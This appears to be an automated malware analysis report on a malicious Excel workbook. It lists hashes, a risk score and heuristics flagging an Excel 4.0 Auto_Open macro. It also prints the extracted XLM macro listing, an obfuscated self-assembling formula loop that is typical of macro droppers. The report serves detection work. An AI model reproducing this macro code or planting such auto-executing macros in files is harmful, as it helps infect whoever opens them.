Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 b2ad18a59d85f01c…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-25 10:38:31 Authoring application: Microsoft Excel First seen: 2021-02-09
MD5: 63409c1df6d830c4b4be3a9375dc92b5 SHA-1: 5e656762e4a4063bd7a55a6d6aefb27c46f0b611 SHA-256: b2ad18a59d85f01c37520a4655e94c6e67364256135d43a1b3a90a78b2861e44
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6585 bytes
SHA-256: 2a9f0b8b4c4ff0ed5da8f540b9b3492f91388e46bda566aa67180eae3ca83f14
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     15 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  FueaGn
' 0018     26 LABEL : Cell Value, String Constant - aRgdShOBlpo len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!A145 
' 0018     26 LABEL : Cell Value, String Constant - fjPdvkMhurj len=0 
' 0018     23 LABEL : Cell Value, String Constant - ftMTSRKU len=0 
' 0018     26 LABEL : Cell Value, String Constant - GrJSnkNjQqY len=0 
' 0018     23 LABEL : Cell Value, String Constant - ipjlkNKp len=0 
' 0018     25 LABEL : Cell Value, String Constant - IQNlzdBrAt len=0 
' 0018     27 LABEL : Cell Value, String Constant - KfKLYJmhegon len=0 
' 0018     26 LABEL : Cell Value, String Constant - kPkfGKvPFqc len=0 
' 0018     23 LABEL : Cell Value, String Constant - lfiBwfbo len=0 
' 0018     20 LABEL : Cell Value, String Constant - mtVsY len=0 
' 0018     21 LABEL : Cell Value, String Constant - nsKEuj len=0 
' 0018     26 LABEL : Cell Value, String Constant - nsytOIogHCL len=0 
' 0018     24 LABEL : Cell Value, String Constant - oUbzjrwDu len=0 
' 0018     27 LABEL : Cell Value, String Constant - PGSxbLOaoKBv len=0 
' 0018     25 LABEL : Cell Value, String Constant - pUZDsTyUAK len=0 
' 0018     27 LABEL : Cell Value, String Constant - rFrgENNkNuMt len=0 
' 0018     22 LABEL : Cell Value, String Constant - udsVepE len=0 
' 0018     26 LABEL : Cell Value, String Constant - uQIeEPnlXEg len=0 
' 0018     21 LABEL : Cell Value, String Constant - WHhUCD len=0 
' 0018     21 LABEL : Cell Value, String Constant - ZZTNpu len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  FueaGn,A51,"SET.NAME("IQNlzdBrAt",VALUE("0"))",""
'  FueaGn,A54,"SET.NAME("WHhUCD",IQNlzdBrAt)",""
'  FueaGn,A58,"SET.NAME("uQIeEPnlXEg",IQNlzdBrAt)",""
'  FueaGn,A61,"SET.NAME("nsKEuj",COUNTA(GrJSnkNjQqY))",""
'  FueaGn,A66,"SET.NAME("PGSxbLOaoKBv",COUNTA(nsytOIogHCL))",""
'  FueaGn,A68,[],""
'  FueaGn,A72,"SET.NAME("fjPdvkMhurj","")",""
'  FueaGn,A77,"WHhUCD",""
'  FueaGn,A81,"SET.NAME("ZZTNpu",HLOOKUP("*",GrJSnkNjQqY,WHhUCD,FALSE))",""
'  FueaGn,A85,"lfiBwfbo",""
'  FueaGn,A90,"SET.NAME("pUZDsTyUAK",IQNlzdBrAt)",""
'  FueaGn,A92,[],""
'  FueaGn,A96,"pUZDsTyUAK",""
'  FueaGn,A101,"oUbzjrwDu",""
'  FueaGn,A103,"udsVepE",""
'  FueaGn,A108,"rFrgENNkNuMt",""
'  FueaGn,A112,"SET.NAME("ftMTSRKU",VALUE(HLOOKUP("*",nsytOIogHCL,rFrgENNkNuMt,FALSE)))",""
'  FueaGn,A116,"mtVsY",""
'  FueaGn,A118,"fjPdvkMhurj",""
'  FueaGn,A121,"uQIeEPnlXEg",""
'  FueaGn,A126,NEXT(),""
'  FueaGn,A128,"ipjlkNKp",""
'  FueaGn,A131,"SET.NAME("f",INT(T(FORMULA(T(fjPdvkMhurj)&"",""&T(ipjlkNKp)))))",""
'  FueaGn,A133,"aRgdShOBlpo",""
'  FueaGn,A137,NEXT(),""
'  FueaGn,A141,RETURN(),""
'  FueaGn,A169,"SET.NAME("kPkfGKvPFqc",A51)",""
'  FueaGn,A174,"GrJSnkNjQqY",""
'  FueaGn,A178,"SET.NAME("nsytOIogHCL",R61C12)",""
'  FueaGn,A183,"SET.NAME("aRgdShOBlpo",190)",""
'  FueaGn,A186,"SET.NAME("KfKLYJmhegon",1)",""
'  FueaGn,A189,kPkfGKvPFqc(),""
'  FueaGn,A190,HALT(),""

Open this report in the interactive analyzer, or submit your own file for analysis.